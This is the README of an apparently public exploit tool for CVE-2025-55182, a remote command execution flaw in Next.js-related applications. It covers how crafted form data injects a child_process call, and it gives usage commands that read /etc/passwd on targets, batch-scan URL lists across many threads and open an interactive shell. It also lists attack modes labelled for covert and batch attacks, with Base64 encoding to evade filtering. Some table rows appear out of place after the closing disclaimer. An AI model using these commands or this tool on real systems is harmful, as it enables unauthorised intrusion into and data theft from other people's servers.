lc-pro/cve-2025-55182-expPython-based exploit for CVE-2025-55182 (Next.js RCE) with single/batch target scanning, command execution, interactive shell, and 4 attack modes with Base64 encoding support.
This tool is used to detect and exploit the CVE-2025-55182 vulnerability (presumably a code execution vulnerability in frameworks related to Next.js). It supports single-target / multi-target batch detection, command execution, interactive shell, and provides 4 attack modes for different scenarios. It also supports Base64 encoding of commands, proxy forwarding, log output, and other flexible configurations.
The CVE-2025-55182 vulnerability may exist in applications related to Next.js. By crafting malicious requests, the execution logic in _response is tampered with, and a child_process module call is injected, achieving remote command execution (RCE). The tool sends specially crafted form data to trigger the vulnerability and return the command execution result.
requestspip install requests
# Execute whoami command (Attack Mode 1: with response)
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami"
# Execute system command (Base64 encoded to avoid special character interception)
python CVE-2025-55182-exploit.py -u https://target.com -c "cat /etc/passwd" -b
# Full response mode (Base64 decode the returned result)
python CVE-2025-55182-exploit.py -u https://target.com -c "ipconfig" -p 4
# Read target URLs from file, batch execute id command (20 threads)
python CVE-2025-55182-exploit.py -l targets.txt -c "id" -t 20 -o result.log
# Connect to target and enter interactive command line (supports Base64 encoding toggle)
python CVE-2025-55182-exploit.py -u https://target.com -s
# Analyze traffic via Burp Suite proxy
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami" --proxy http://127.0.0.1:8080
| Parameter | Shorthand | Required | Description | Example |
|---|---|---|---|---|
--url | -u | No | Single target URL (mutually exclusive with -l, -u takes priority) | -u https://target.com |
--url-list | -l | No | Target URL list file (one URL per line, supports missing protocol, automatically adds http/https) | -l urls.txt |
--payload | -p | No | Attack mode (default: 1) 1=With response (execSync) | 2=No response (execSync) 3=No response (exec) |
--cmd | -c | No | System command to execute (required for batch/single target command execution, mutually exclusive with -s) | -c "whoami" or -c "dir" |
--threads | -t | No | Number of threads for batch detection (default: 10, recommended not to exceed 50) | -t 20 |
--outlog | -o | No | Log output file (default: cve-2025-55182.log) | -o exploit.log |
--base64 | -b | No | Base64 encode the command specified by -c (to avoid special character interception) | -c "cat /etc/passwd" -b |
--cmd-shell | -s | No | Interactive shell mode (only supports single target -u, mutually exclusive with -c) | -u https://target.com -s |
--proxy | - | No | Proxy configuration (supports HTTP/HTTPS proxy for packet capture or traffic forwarding) | --proxy http://127.0.0.1:8080 |
| Mode Number | Mode Description | Characteristics | Applicable Scenario |
|---|---|---|---|
| 1 | With response (execSync) | Execute command synchronously, return 303 redirect, result included in response headers | Quickly verify if the vulnerability exists |
| 2 | No response (execSync) | Execute command synchronously, no result returned (execution effect must be confirmed by other means) | Covert execution |
| 3 | No response (exec) | Execute command asynchronously, no result returned (low trace, suitable for operations that do not need confirmation) | Covert batch attacks |
| 4 | Full response | Execute command synchronously, result Base64 encoded and returned in response body (tool automatically decodes) | Scenarios requiring full command output |
After entering -s mode, the following built-in commands are supported:
| Command | Function Description |
|---|---|
b64 | Switch to Base64 encoded command mode |
nob64 | Exit Base64 encoding mode |
exit | Exit the interactive shell |
? | View help information |
--outlog for subsequent analysis;-u and -l are mutually exclusive; when both are specified, -u takes priority;-c and -s are mutually exclusive; in -s mode, -c does not need to be specified;-l file do not have a protocol (e.g., target.com), the tool will automatically try http:// and https://;https://target.com) to avoid unnecessary connection failures;-b or b64 mode is enabled, the tool will automatically handle Base64 encoding/decoding, no manual operation required;--time-out timeout value to avoid false negatives.--skip-check to skip the check;-p 4 full response mode);-b) to prevent the command from being intercepted by the target system;--time-out timeout value;http://target.com).This tool is intended only for network security research and vulnerability verification. The user is solely responsible for all consequences arising from violations of the Cybersecurity Law and other relevant laws and regulations. The tool developer bears no liability.
--skip-check | - | No | Skip proxy connectivity check (default verifies proxy availability) | --proxy http://127.0.0.1:8080 --skip-check |
--time-out | - | No | Request timeout (in seconds, default: 10) | --time-out 15 |